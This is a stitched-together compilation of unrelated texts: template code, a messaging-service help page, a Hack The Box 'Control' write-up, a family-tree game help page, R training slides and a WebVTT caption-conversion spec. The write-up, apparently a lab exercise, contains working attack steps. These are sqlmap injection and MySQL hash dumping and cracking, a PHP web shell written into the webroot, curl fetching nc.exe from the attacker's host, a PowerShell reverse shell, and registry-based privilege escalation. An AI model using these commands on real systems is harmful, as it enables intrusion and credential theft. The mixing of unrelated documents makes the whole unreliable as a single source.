{% comment %}
This demonstrates how to setup session security client side stuff on your own.
It provides sensible defaults so you could start with just::
{% include 'session_security/all.html' %}
{% endcomment %}
{% load session_security_tags %}
{% load i18n l10n %}
{% load static %}
{# If the user is not authenticated then there is no session to secure ! #}
{% if request.user.is_authenticated %}
{# The modal dialog stylesheet, it's pretty light so it should be easy to hack #}
{# Include the template that actually contains the modal dialog #}
{% include 'session_security/dialog.html' %}
{# Load SessionSecurity javascript 'class', jquery should be loaded - by you - at this point #}
{# Bootstrap a SessionSecurity instance as the sessionSecurity global variable #}
{% localize off %}
{% endlocalize %}
{% endif %}


{% extends "content_template.html" %} {% from "components/service-link.html" import service_link %} {% block per_page_title %} Edit and format messages {% endblock %} {% block content_column_content %}
This page explains how to:
You can see a list of formatting instructions on the edit template page:
Email templates can include:
Letter templates can include headings and bullets.
Notify does not allow bold, italics, subheadings, underlined text or different fonts. This is because they can make it harder for users to read what you’ve written.
When composing an email or text message, write URLs in full and Notify will convert them into links for you.
You cannot convert text into a link. Research shows that people like to check a URL looks genuine before clicking the link in an email. This is hard to do if the URL is hidden behind clickable link text.
We do not recommend using a third-party link shortening service because:
To personalise the content of your messages, add a placeholder to the template.
Placeholders are filled in with details, like a name or reference number, each time you send a message.
To add a placeholder to the template:
When you send a message you can either:
If you upload a list, the column names need to match the placeholders in your template.
To add optional content to your messages:
For each person you send this message to, specify ‘yes’ or ‘no’ to show or hide this content. You can either:
If you upload a list, the column names need to match the optional content in your template.
{% endblock %}


Hello fellow hackers,
This is the writeup for Control box.
As Always I did a port scan with the famous nmap and got 3 ports open.
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Fidelity
135/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql?
| fingerprint-strings:
| NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SMBProgNeg, TLSSessionReq, TerminalServerCookie, X11Probe, afp, giop:
|_ Host '<IP_ADDRESS>' is not allowed to connect to this MariaDB server
I can tell from now this uses php(index.php). Inside the source code I see a comment
<!-- To Do:
- Import Products
- Link to new payment system
- Enable SSL (Certificates location \\<IP_ADDRESS>\myfiles)
<!-- Header -->
After poking the website I see that admin.php
is not accessible. Because it requires us to go through a proxy.
Searching about headers I found out that header X-Forwarded-For is a de-facto standard header for identifying the originating IP address of a client connecting to a web server through an HTTP proxy
So I open burp suite and intercept the request to <IP_ADDRESS>/admin.php
and add the IP address found in the index.php
html code.
Now I add into burp suite math and replace the X-Forwarded-For, so burp can add that automatically to us.
Inside the admin app I can add, search, update, create products. I send each request on burp and try to find any vuln on the send parameters. I found out that search products is vulnerable to sql injection. After trying a sleep command. My request took long to respond back.
I copy the request to a file and then update the parameter to be productName=*
. And then give it to sqlmap to extract info for us.
First I get all the databases with sqlmap -r sqlinjection.req --dbs --batch
[*] information_schema
[*] mysql
[*] warehouse
After get all mysql tables with sqlmap -r sqlinjection -D mysql --tables --batch
Database: mysql
[31 tables]
+---------------------------+
| db |
| event |
| user |
| column_stats |
| columns_priv |
| func |
| general_log |
| global_priv |
| gtid_slave_pos |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| index_stats |
| innodb_index_stats |
| innodb_table_stats |
| plugin |
| proc |
| procs_priv |
| proxies_priv |
| roles_mapping |
| servers |
| slow_log |
| table_stats |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
| transaction_registry |
After get the content of user row sqlmap -r sqlinjection.req -D mysql -T user --dump
root: 0A4A5CAD344718DC418035A1F4D292BA603134D8
manager: CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA
hector : 0E178792E8FC304A2E3133D535D38CAF1DA3CD9D
Add the hashes inside a file and then crack them hashcat -m 300 crackme.txt rockyou.txt
root: 0A4A5CAD344718DC418035A1F4D292BA603134D8
manager: CFE3EEE434B38CBF709AD67A4DCDEA476CBA7FDA * l3tm3!n
hector : 0E178792E8FC304A2E3133D535D38CAF1DA3CD9D l33th4x0rhector
sqlmap -r sqlinjection.req -D mysql -T user --dump --batch
Let’s see again if we can upload a shell to the webserver and then access the server.
To do this first I check which users is managing the mysql database. sqlmap -r sqlinjection.req --current-user --batch
current user: 'manager@localhost'
And then check the privileges of that user. sqlmap -r sqlinjection.req --privileges --batch
[*] 'manager'@'localhost' [1]:
privilege: FILE
which means we can indeed upload a file into the webserver.
I create a file and add a simple php command to execute everything I give into the fuxsocy parameter
.
<?php echo system($_GET['fuxsocy']); ?>
To upload a file I use sqlmap -r sqlinjection.req --file-write=q.php --file-dest=/inetpub/wwwroot/q.php --batch
I had to guess for the destination by trying possible directories found here
Then I visit the webpage and download nc.exe from my box and execute it to get a reverse shell.
<IP_ADDRESS>/q.php?fuxsocy=curl 10.10.X.X/nc.exe > C:\Windows\Temp\nc.exe (add a webserver first with python3 -m http.server 80)
<IP_ADDRESS>/q.php?fuxsocy=C:\Windows\Temp\nc.exe 10.10.X.X 9999 -e powershell.exe
kali@kali:~$ rlwrap nc -nvlp 9999
listening on [any] 9999 ...
connect to [<IP_ADDRESS>] from (UNKNOWN) [<IP_ADDRESS>] 50431
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\inetpub\wwwroot> whoami
whoami
nt authority\iusr
PS C:\inetpub\wwwroot>
Because I have the password for user hector
I created a script to impersonate that user and then download the nc.exe and after get a shell back as that user.
$pass = ConvertTo-SecureString "l33th4x0rhector" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("Fidelity\\hector", $pass)
Invoke-Command -ComputerName Fidelity -Credential $cred -ScriptBlock {curl http://10.10.X.X/nc.exe -O C:\Users\hector\Desktop\nc.exe}
Invoke-Command -ComputerName Fidelity -Credential $cred -ScriptBlock {C:\Users\hector\Desktop\nc.exe 10.10.X.X 8888 -e powershell}
User obtained.
The root part has to do with windows registry. To spot that we had to look into the users powershell history.
PS C:\Users\Hector\Documents> (Get-PSReadLineOption).HistorySavePath
(Get-PSReadLineOption).HistorySavePath
C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS C:\Users\Hector\Documents> type C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list
PS C:\Users\Hector\Documents>
Running get-acl HKLM:\SYSTEM\CurrentControlSet\services* | format-list
Path : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
Owner : NT AUTHORITY\SYSTEM
Group : NT AUTHORITY\SYSTEM
Access : CREATOR OWNER Allow FullControl
NT AUTHORITY\Authenticated Users Allow ReadKey
NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
CONTROL\Hector Allow FullControl <--- USER HERE HAS FULLCONTROL
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadKey
Audit :
Sddl : O:SYG:SYD:PAI(A;CIIO;KA;;;CO)(A;CI;KR;;;AU)(A;CI;KA;;;SY)(A;CI;KA;;;BA)(A;CI;KA;;;S-1-5-21-3271572904-80546332
-2170161114-1000)(A;CI;KR;;;AC)
This means we can edit registries for a service and then execute malicious code which in our case is a reverse shell as administrator. First let’s see the services what hector
has access to by issuing this command.
Get-acl HKLM:\System\CurrentControlSet\Services\* | Format-List * | findstr /i "Hector Users Path"
This gives us a big list with the proccess name. We would choose wuauserv
.
PS C:\Users\Hector\Documents> Get-Item -path HKLM:\SYSTEM\CurrentControlSet\Services\wuauserv
Get-Item -path HKLM:\SYSTEM\CurrentControlSet\Services\wuauserv
Hive: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
Name Property
---- --------
wuauserv DependOnService : {rpcss}
Description : @%systemroot%\system32\wuaueng.dll,-106
DisplayName : @%systemroot%\system32\wuaueng.dll,-105
ErrorControl : 1
FailureActions : {128, 81, 1, 0...}
ImagePath : C:\Windows\system32\svchost.exe -k netsvcs -p
ObjectName : LocalSystem
RequiredPrivileges : {SeAuditPrivilege, SeCreateGlobalPrivilege,
SeCreatePageFilePrivilege, SeTcbPrivilege...}
ServiceSidType : 1
Start : 3
SvcMemHardLimitInMB : 246
SvcMemMidLimitInMB : 167
SvcMemSoftLimitInMB : 88
Type : 32
PS C:\Users\Hector\Documents>
I am using the wuauserv
service as this service is the service windows use to check if an update is available and then stops so this should have a good chance to be inactive.
Let’s edit the ImagePath
setup listener and download nc
then start the service.


There's no rule that says the Clan Leader has to get his hands bloody!


Status:
no status
Simulation time:
0
μs.
Simulated Frame:
0
Rendered Frame:
0
Delay Simulacion:
0
Play/Pause


This game begins by scanning your family tree and calculating your heritage. Your heritage is calculated using the birth places of your ancestors in the tree. If you were born in England and your father was born in France and your Mother was born in Germany, then your heritage would be calculated as 50% France and 50% Germany.
If instead of being born in France, your father was also born in England, but his parents were born in France and Portugal. Then your heritage would be calculated as 50% German from your mother, 25% France from your paternal grandfather and 25% Portugal from your paternal grandmother.
If multiple relatives were born in the same place, then their percentages are added together. You can click on the chart to see the relative who contributed the most to that heritage.
You can also use the Nationality attribute on a person in your tree to change the calculations. The Nationality attribute is useful for identifying sub-cultures such as Native American tribes where the birth place is not an accurate cultural identifier.
Little Family Tree only uses the local data that it has already downloaded to calculate your heritage. It will become more accurate as more data is automatically synchronized. You can help this along by going to the Tree, I Spy game and expanding your tree up to older relatives.
The heritage calculator is limited to the data in your online family tree.
After selecting a place from the chart, you can click on the Play! button or on the dress up icon to play a dress up game with the traditional clothes of the heritage you selected.
Drag the clothing onto the doll. The red outline shows you where the clothes should be placed as they are being moved. When all of the clothes are in place you may choose to dress up the doll using clothing from a different heritage.
Clothing for other places and cultures are regularly being added to the game. If you have a request for a particular culture or country, please contact us from the home page and we will give it a higher priority for a future update of the game.
New! Select a skin tone for the dress up dolls by pressing the cartoon face on the top bar menu and then choose a skin tone from the pop-up menu. Change the skin tone at any time during the game.
Tap the home button at any time to return to the Heritage Calculator chart.


class: center, middle, inverse, title-slide # R for Research ## Essential Tools for Researchers --- class: inverse, center, middle background-image: url('img/logo.png') background-position: 5% 98% background-size: 150px  # Who am I? Dean Marchiori *Head of Data Science* **Internetrix** https://deanmarchiori.github.io/aboutme/<EMAIL_ADDRESS>--- class: inverse, center, middle background-image: url('img/logo.png') background-position: 5% 98% background-size: 150px # Internetrix *At Internetrix, we provide practical solutions to complex problems. From spreadsheets to machine learning, we are experts in the mathematics of making smarter decisions.* Data Science Consulting | Analysis Projects | Training and Team Development | Strategy and Transformation https://www.internetrix.com.au/services/data-science/ --- class: center, middle # Key principles `shareable -> reproducible -> publishable` --- class: inverse, center, middle background-image: url('img/logo.png') background-position: 5% 98% background-size: 150px # Why R? --- background-image: url('img/R.png') background-position: 90% 8% background-size: 100px # R The R programming language is a popular and open-source tool for data analysis and statistical computing. https://www.r-project.org/ + Can handle data import, cleaning, analysis, visualisation and publishing + Highly extensible through package ecosystem - new algos available faster + Open Source + Easy to learn from a non-CS background + GREAT community and documentation  *https://spectrum.ieee.org/at-work/innovation/the-2018-top-programming-languages* --- class: inverse, center, middle background-image: url('img/logo.png') background-position: 5% 98% background-size: 150px # Getting Data R packages to get data and access API's --- # Web Technologies R has a detailed task view of packages build to interface with the web. + HTTP Requests + XML / JSON + Web Scraping + Cloud Data Tools (AWS, BigQuery, ..) + Social Media Clients https://cran.r-project.org/web/views/WebTechnologies.html --- background-image: url('img/bomrang.png') background-position: 90% 8% background-size: 100px # bomrang ### Australian Government Bureau of Meteorology (BOM) Data Client. Provides functions to interface with Australian Government Bureau of Meteorology (BOM) data. Install from CRAN: ```r install.packages("bomrang") ``` --- background-image: url('img/bomrang.png') background-position: 90% 8% background-size: 100px # bomrang demo Get current forecast for Wollongong ```r library(bomrang) library(dplyr) weather <- bomrang::get_current_weather(station_name = 'Bellambi') weather %>% filter(local_date_time_full == max(local_date_time_full)) %>% select(full_name, local_date_time_full, air_temp, wind_dir, wind_spd_kt) ``` ``` ## full_name local_date_time_full air_temp wind_dir wind_spd_kt ## 1 Bellambi 2019-05-20 15:30:00 21.2 NNE 4 ``` --- background-image: url('img/bomrang.png') background-position: 90% 8% background-size: 100px # bomrang demo Get radar imagery ```r library(bomrang) imagery <- get_radar_imagery(product_id = "IDR032", path = 'img/radar.png') ```  --- class: inverse, center, middle background-image: url('img/logo.png') background-position: 5% 98% background-size: 150px # Analysing Data faster and more interpretable EDA --- background-image: url('img/skimr.png') background-position: 90% 6% background-size: 100px # skimr skimr provides a frictionless approach to summary statistics which conforms to the principle of least surprise, displaying summary statistics the user can skim quickly to understand their data. Install the latest development version: ```r devtools::install_github("ropensci/skimr") ``` --- background-image: url('img/skimr.png') background-position: 90% 6% background-size: 100px # skimr demo ```r library(skimr) skimr::skim(iris) ``` ``` ## Skim summary statistics ## n obs: 150 ## n variables: 5 ## ## ── Variable type:factor ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── ## variable missing complete n n_unique top_counts ordered ## Species 0 150 150 3 set: 50, ver: 50, vir: 50, NA: 0 FALSE ## ## ── Variable type:numeric ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── ## variable missing complete n mean sd p0 p25 p50 p75 p100 hist ## Petal.Length 0 150 150 3.76 1.77 1 1.6 4.35 5.1 6.9 ▇▁▁▂▅▅▃▁ ## Petal.Width 0 150 150 1.2 0.76 0.1 0.3 1.3 1.8 2.5 ▇▁▁▅▃▃▂▂ ## Sepal.Length 0 150 150 5.84 0.83 4.3 5.1 5.8 6.4 7.9 ▂▇▅▇▆▅▂▂ ## Sepal.Width 0 150 150 3.06 0.44 2 2.8 3 3.3 4.4 ▁▂▅▇▃▂▁▁ ``` --- background-image: url('img/tidyverse.png') background-position: 90% 6% background-size: 100px # The tidyverse The tidyverse is an opinionated collection of R packages designed for data science. All packages share an underlying design philosophy, grammar, and data structures. Ideally suited for: + Reading in data + Manipulating and tidying data + Visualisation of results https://www.tidyverse.org/ Install from CRAN ```r install.packages('tidyverse') ``` --- background-image: url('img/tidyverse.png') background-position: 90% 4% background-size: 100px # tidyverse demo This example shows some more advanced use of data manipulation and visualisation. ### Space launches These are the data behind the "space launches" article, The space race is dominated by new contenders. Principal data came from the Jonathan McDowell's JSR Launch Vehicle Database, available online at http://www.planet4589.org/space/lvdb/index.html. *Example adapted from from https://github.com/dgrtwo/data-screencasts/blob/master/space-launches.Rmd* *and the [Tidy Tuesday Project](https://github.com/rfordatascience/tidytuesday)* --- # Reading in data ```r library(tidyverse) launches <- read_csv("https://raw.githubusercontent.com/rfordatascience/tidytuesday/master/data/2019/2019-01-15/launches.csv") head(launches) ``` ``` ## # A tibble: 6 x 11 ## tag JD launch_date launch_year type variant mission agency state_code category agency_type ## <chr> <dbl> <date> <dbl> <chr> <chr> <chr> <chr> <chr> <chr> <chr> ## 1 1967-065 2439671. 1967-06-29 1967 Thor Burner 2 <NA> Secor Type II S/N 10 US US O state ## 2 1967-080 2439726. 1967-08-23 1967 Thor Burner 2 <NA> DAPP 3419 US US O state ## 3 1967-096 2439775. 1967-10-11 1967 Thor Burner 2 <NA> DAPP 4417 US US O state ## 4 1968-042 2440000. 1968-05-23 1968 Thor Burner 2 <NA> DAPP 5420 US US O state ## 5 1968-092 2440153. 1968-10-23 1968 Thor Burner 2 <NA> DAPP 6422 US US O state ## 6 1969-062 2440426. 1969-07-23 1969 Thor Burner 2 <NA> DAPP 7421 US US O state ``` --- # Pre-processing + Use of the pipe `%>%` operator improved readability with collaborators + Ability to filter, aggregate, select columns, reorder, text manipulation + Supports Non-Standard Evaluation (NSE) ```r launches_processed <- launches %>% filter(launch_date <= Sys.Date()) %>% filter(state_code == "US") %>% add_count(type) %>% filter(n >= 20) %>% mutate(type = fct_reorder(type, launch_date, min), agency_type = str_to_title(agency_type)) ``` --- background-image: url('img/ggplot2.jpg') background-position: 90% 4% background-size: 100px # Data Visualisation with ggplot2 `ggplot2` is a well known package for data visualisation based on [The Grammar of Graphics](http://amzn.to/2ef1eWp). ```r install.packages('ggplot2') ``` Let's run through an example.. --- background-image: url('img/ggplot2.jpg') background-position: 90% 4% background-size: 100px # Data Visualisation .left-code[ ```r ggplot(data = launches_processed, aes(x = launch_date, y = type)) + geom_point() ``` ] .right-plot[ ![](index_files/figure-html/plot-code-1.png) ] --- background-image: url('img/ggplot2.jpg') background-position: 90% 4% background-size: 100px # Data Visualisation .left-code[ ```r ggplot(launches_processed, aes(x = launch_date, y = type)) + geom_jitter(alpha = .25, width = 0, height = .2) ``` ] .right-plot[ ![](index_files/figure-html/plot-code2-1.png) ] --- background-image: url('img/ggplot2.jpg') background-position: 90% 4% background-size: 100px # Data Visualisation .left-code[ ```r ggplot(data = launches_processed, aes(x = launch_date, y = type, color = agency_type)) + geom_jitter(alpha = .25, width = 0, height = .2) + theme(legend.position = "bottom") ``` ] .right-plot[ ![](index_files/figure-html/plot-code3-1.png) ] --- background-image: url('img/ggplot2.jpg') background-position: 90% 4% background-size: 100px # Data Visualisation .left-code[ ```r ggplot(launches_processed, aes(x = launch_date, y = type, color = agency_type)) + geom_jitter(alpha = .25, width = 0, height = .2) + labs(title = "Timeline of US space vehicles", x = "Launch date", y = "Vehicle type", color = "Agency type", subtitle = "Only vehicles with at least 20 launches") + theme_light() + theme(legend.position = "bottom") ``` ] .right-plot[ ![](index_files/figure-html/plot-code4-1.png) ] --- background-image: url('img/gganimate.png) background-position: 90% 4% background-size: 100px # Animated Visualisations the `gganimate` package can make animated visualisations easy by extending the `ggplot2` API.  --- # Modelling and Analysis Traditionally a huge strength in R. + Wide range of linear models, glm, decision trees, machine learning models. ```r fit <- lm(formula = Sepal.Width ~ Petal.Length + Petal.Width, data = iris) ``` Commonly used formula interface: `Sepal.Width ~ Petal.Length + Petal.Width` --- # Modelling and Analysis ```r summary(fit) ``` ``` ## ## Call: ## lm(formula = Sepal.Width ~ Petal.Length + Petal.Width, data = iris) ## ## Residuals: ## Min 1Q Median 3Q Max ## -1.06198 -0.23389 0.01982 0.20580 1.13488 ## ## Coefficients: ## Estimate Std. Error t value Pr(>|t|) ## (Intercept) 3.58705 0.09373 38.272 < 2e-16 *** ## Petal.Length -0.25714 0.06691 -3.843 0.00018 *** ## Petal.Width 0.36404 0.15496 2.349 0.02014 * ## --- ## Signif. codes: 0 '***' 0.001 '**' 0.01 '*' 0.05 '.' 0.1 ' ' 1 ## ## Residual standard error: 0.3893 on 147 degrees of freedom ## Multiple R-squared: 0.2131, Adjusted R-squared: 0.2024 ## F-statistic: 19.9 on 2 and 147 DF, p-value: 2.238e-08 ``` --- # Modelling and Analysis Good support for machine learning, model tuning, cross-validation. The `caret` package (short for Classification And REgression Training) is a set of functions that attempt to streamline the process for creating predictive models. ```r install.packages('caret') ``` --- # Modelling and Analysis  --- # Logistic Regression ```r fit_glm <- caret::train(label ~ x + y, data = training, method = "glm") ```  --- # CART Decision Tree ```r fit_rpart <- caret::train(label ~ x + y, data = training, method = "rpart") ```  --- # Random Forest ```r fit_rf <- caret::train(label ~ x + y, data = training, method = "rf") ```  --- class: inverse, center, middle background-image: url('img/logo.png') background-position: 5% 98% background-size: 150px # Working with others Version control and collaboration --- # Git / Github + Powerful version control system used in software development + Also well suited to managing research work + Controls the 'source code' of your work with multiple contributors ![source: https://www.atlassian.com/git/tutorials](img/git.svg) --- # Use cases for git in science 1. Lab notebook 2. Facilitating Collaboration 3. Backup and Fail-safe against data loss 4. Freedom to explore new ideas and methods 5. Mechanism to solicit feedback and reviews 6. Increase transparency and verifiability 7. Managing large data 8. Lowering barriers to reuse Ram, K. (2013). Git can facilitate greater reproducibility and increased transparency in science. Source Code for Biology and Medicine, 8(1). https://doi.org/10.1186/1751-0473-8-7 --- # Lots of great git resources: [Git for Scientists - Miles McBain](https://milesmcbain.github.io/git_4_sci/) [Atlassian Git Tutorials](https://www.atlassian.com/git/tutorials) [Git: A powerful tool to facilitate greater reproducibility and transparency in science](https://github.com/karthik/smb_git) [Git and Github - R Packages](http://r-pkgs.had.co.nz/git.html) [A Quick Introduction to Version Control with Git and GitHub](https://journals.plos.org/ploscompbiol/article?id=10.1371/journal.pcbi.1004668) --- class: inverse, center, middle background-image: url('img/logo.png') background-position: 5% 98% background-size: 150px # Getting your work out there Papers, Talks, Posters, Blogs and more --- background-image: url('img/rmarkdown.png') background-position: 90% 4% background-size: 100px # R Markdown > R Markdown provides an authoring framework for data science. You can use a single R Markdown file to both > + save and execute code > + generate high quality reports that can be shared with an audience source: https://rmarkdown.rstudio.com/ ![https://rmarkdown.rstudio.com/lesson-1.html](img/rmd.png) --- background-image: url('img/rmarkdown.png') background-position: 90% 4% background-size: 100px # R Markdown Gallery https://rmarkdown.rstudio.com/gallery.html --- background-image: url('img/shiny.png') background-position: 90% 4% background-size: 100px # Shiny Shiny is a framework to build interactive web apps straight from your R code. + Get your code into users' hands + Easily deploy and host apps on the cloud + Turn your research outputs into useful production ready tools https://shiny.rstudio.com/ [Shiny User Showcase](https://www.rstudio.com/products/shiny/shiny-user-showcase/) --- background-image: url('img/shiny.png') background-position: 90% 4% background-size: 100px # Shiny Demo https://deanmarchiori.shinyapps.io/abtester/ ![ABTesteR](img/abtest.png) --- # R Packages > In R, the fundamental unit of shareable code is the package. A package bundles together code, data, documentation, and tests, and is easy to share with others source: [R Packages - Hadley Wickham](http://r-pkgs.had.co.nz/intro.html) ### Why R Packages? + Amplify your research work by turning it into open-source software + Publish and licence your software to the community + Ensure it can be run and maintained by others and not trapped on the 'C Drive' [ROpenSci](https://ropensci.org/) has a great model for promoting open data and software for science. --- # R Packages  source: https://blog.revolutionanalytics.com/2017/01/cran-10000.html --- # References Adam H Sparks, Mark Padgham, Hugh Parsonage and Keith Pembleton (2017). bomrang: Fetch Australian Government Bureau of Meteorology Weather Data The Journal of Open Source Software, 2(17). DOI: 10.21105/joss.00411 Adam H Sparks, Jonathan Carroll, Dean Marchiori, Mark Padgham, Hugh Parsonage and Keith Pembleton. (2018). bomrang: Australian government Bureau of Meteorology (BOM) data from R. R package version 0.4.0. https://CRAN.R-project.org/package=bomrang Amelia McNamara, Eduardo Arino de la Rubia, Hao Zhu, Shannon Ellis and Michael Quinn (2019). skimr: Compact and Flexible Summaries of Data. R package version 1.0.6. https://github.com/ropenscilabs/skimr Hadley Wickham (2017). tidyverse: Easily Install and Load the 'Tidyverse'. R package version 1.2.1. https://CRAN.R-project.org/package=tidyverse JJ Allaire and Yihui Xie and Jonathan McPherson and Javier Luraschi and Kevin Ushey and Aron Atkins and Hadley Wickham and Joe Cheng and Winston Chang and Richard Iannone (2018). rmarkdown: Dynamic Documents for R. R package version 1.11. URL https://rmarkdown.rstudio.com. --- # References (cont.) Yihui Xie and J.J. Allaire and Garrett Grolemund (2018). R Markdown: The Definitive Guide. Chapman and Hall/CRC. ISBN<PHONE_NUMBER>338. URL https://bookdown.org/yihui/rmarkdown. Winston Chang, Joe Cheng, JJ Allaire, Yihui Xie and Jonathan McPherson (2018). shiny: Web Application Framework for R. R package version 1.2.0. https://CRAN.R-project.org/package=shiny H. Wickham. ggplot2: Elegant Graphics for Data Analysis. Springer-Verlag New York, 2016. Thomas Lin Pedersen and David Robinson (2019). gganimate: A Grammar of Animated Graphics. R package version 1.0.3. https://CRAN.R-project.org/package=gganimate Max Kuhn. Contributions from Jed Wing, Steve Weston, Andre Williams, Chris Keefer, Allan Engelhardt, Tony Cooper, Zachary Mayer, Brenton Kenkel, the R Core Team, Michael Benesty, Reynald Lescarbeau, Andrew Ziem, Luca Scrucca, Yuan Tang, Can Candan and Tyler Hunt. (2019). caret: Classification and Regression Training. R package version 6.0-84. https://CRAN.R-project.org/package=caret --- class: inverse, center, middle background-image: url('img/logo.png') background-position: 5% 98% background-size: 150px # Thanks! Fire some questions at me


This document is subject to change without notice.
Note in particular that the multi-line header format used in this specification for styling has not been finalized in WebVTT yet.
This document specifies a method for converting CEA-608/708 data streams to [[WEBVTT]]. This document details how such a conversion can be made, and defines some constraints on the translation process so that the resulting [[WEBVTT]] file is interoperable between WebVTT implementations.
This document does not target user agent developers. User agents (UAs) are expected to implement the [[WEBVTT]] specification. Any conversion tool that follows the suggestions in this document and delivers WebVTT files as converted by the suggestions in this document together with an appropriate HTML page and a style sheet as explained in can expect UAs to render their WebVTT file on their videos correctly.
The aim of this document is to help developers of tools that convert between different caption formats to implement best practice for creating WebVTT files that support CEA-608 or CEA-708 features.
Note that CEA-608 has been defined for US television and therefore only horizontal ltr rendered text is created in WebVTT cues. CEA-708 has some support for vertically rendered and rtl text through caption text settings.
This document defines conversion from CEA-608 or CEA-708 data streams to a WebVTT document.
A CEA-608 or CEA-708 data stream consist of a sequence of bytes transferred to a video device which interprets the bytes as a combination of characters, character attributes, and commands to place the characters on screen in a pre-defined area. CEA-608 defines two 32x15 character memories one of which is currently displayed while the other is for off-screen composition in preparation for display. CEA-708 defines different windows on top of the video viewport into which text is rendered.
A WebVTT file consists at its core of a series of so-called cues, which contain a start time, an end time, cue settings, and the cue text, which is rendered in browsers for WebVTT files of kind "subtitles" or "captions". Styling of character attributes is provided through markup of the text in a similar fashion to how HTML marks up text. Cues are either rendered directly to the video viewport, or into a so-called WebVTT "Regions". Regions are similar to CEA-708 windows.
The command-based CEA-608 and CEA-708 streams are mapped in the following to the file-based WebVTT format. The aim is to achieve the same visual experience, so for CEA-608 it is important what is in the display memory and not what is in the off-screen composition memory. Similarly, for CEA-708 it is important what is in the visible windows. The translation shall in particular preserve the positioning, colour, background, spacing, and timing of captions, including individual character timings in rollup and paint on mode.
The following conversion rules apply:
For example, one particular CEA-608 control event that will normally result in a significant alteration in the caption display is the swapping of the offscreen and onscreen buffers caused by an End of Caption command in pop on mode. Similar commands that also cause creation of a new cue are the Erase Display Memory command, the Backspace command, and the Delete to End of Row command. Typically in these situations a new cue will replace the current one in WebVTT at the time instant of the effect.
When a WebVTT file is created from a CEA-608 or CEA-708 caption data stream using the conversion methods proposed in this document, it is suggested to use the following header for the WebVTT file, including an identification of the type of data contained:
WEBVTT Style: @import(cea608.css) ## Kind: captions Language: en-US
Notice the metadata fields that this header includes: "Style", "Kind" and "Language". It is recommended to always provide these three with the "Kind" field set to "captions" or "subtitles" and the "Language" field set to a BCP 47 language tag [[BCP47]].
For CEA-708 it is further recommended to add a "AspectRatio" field, which indicates whether a display area of 4:3 or 16:9 is the basis for the calculations. An example CEA-708 WebVTT file header may be:
WEBVTT Style: @import(cea608.css) @import(cea708.css) ## Kind: captions Language: en-US AspectRatio: 16:9
The @import command on the "Style" field imports the CSS directives defined in the "Rendering in Browsers" section into the WebVTT file. Browsers will use these CSS directives to make use of their rendering engines for styling cues and cue sections of text.
It is also possible to avoid importing an external style sheet and include the styles directly in the WebVTT header. Here is an example:
WEBVTT Style: ::cue { line-height: 5.33vh; font-size: 4.1vh; font-family: monospace; font-style: normal; font-weight: normal; background-color: black; color: white; } ## Kind: captions Language: en-US
Place metadata such as CEA-608 external data service (XDS) data after the header in the [[WEBVTT]] file.
Example metadata:
WEBVTT Style: @import(cea608.css) ## Kind: captions Language: en-US Channel: CC1 Station: Online ABC ProgramID: SH010855880000 ProgramType: TV series ProgramName: Castle Title: Law & Murder Season: 3 Episode: 19 PublishDate: 2011-03-28 ContentAdvisory: TV-14
CEA-608 defines a safe caption area as 80% of the TV picture height and 80% of TV picture width, centered. Within this area, it defines one or more areas (called “boxes”) within which caption characters are displayed.
If the safe caption area is to be preserved when using WebVTT, the video player can set the "edge margin" variable to 10% in the WebVTT rendering instructions. The edge margin only affects WebVTT cues that are not provided with explicit, percentage-based line positioning. So it mostly only affects cues that are rendered in their default position.
The CEA-608 boxes can be positioned on a grid of 15 character rows of equal height and 32 columns of equal width to provide accurate placement of text on screen.
In WebVTT CEA-608, each CEA-608 box is mapped to a tree of WebVTT Node Objects, which are displayed into the WebVTT rendering area, i.e. the video viewport. A tree of WebVTT Node Objects contains a parsed representation of the cue content that is to be rendered. They map easily to HTML DOM nodes which simplifies rendering when a browser rendering engine is available. We call the root of a WebVTT Node Object tree the "WebVTT cue box".
When rendering a WebVTT CEA-608 cue box, their sizes and positions are defined in relation to the size of the video viewport using the features of CEA-608:
align:start
When translating to WebVTT only the final position of the caption text shall be translated. CEA-608 captions are generally translated to WebVTT cues with their position specified in cue settings. Only CEA-608 captions that are roll-up captions are rendered into WebVTT "Regions".
CEA-608 defines two different modes of addressing positions on the grid of columns and rows:
PAC addresses by row number and 8 different indent positions.
The PAC row number maps to a line cue setting in WebVTT CEA-608. For rollup captions the calculation is the same, but the resulting number is applied to the Region rather than the cue directly, as described in the "Rollup Captions" section. Since WebVTT defines its line numbering scheme based on the height of the font in use, WebVTT CEA-608 makes use of the percentage line setting of WebVTT:
line:x%
Use the following percentage values to represent CEA-608 row numbers:
| CEA-608 PAC row | WebVTT cue line setting |
| 1 | line:10% |
| 2 | line:15.33% |
| 3 | line:20.66% |
| 4 | line:26% |
| 5 | line:31.33% |
| 6 | line:36.66% |
| 7 | line:42% |
| 8 | line:47.33% |
| 9 | line:52.66% |
| 10 | line:58% |
| 11 | line:63.33% |
| 12 | line:68.66% |
| 13 | line:74% |
| 14 | line:79.33% |
| 15 | line:84.66% |
The PAC indent position provides a column indent for lines of caption text. PAC can be different for different lines of captions. It is recommended to create a separate WebVTT cue when a different PAC is used for lines of captions that are on screen at the same time. A PAC indent position maps to a position cue setting in WebVTT CEA-608, which is a percentage offset within the video viewport:
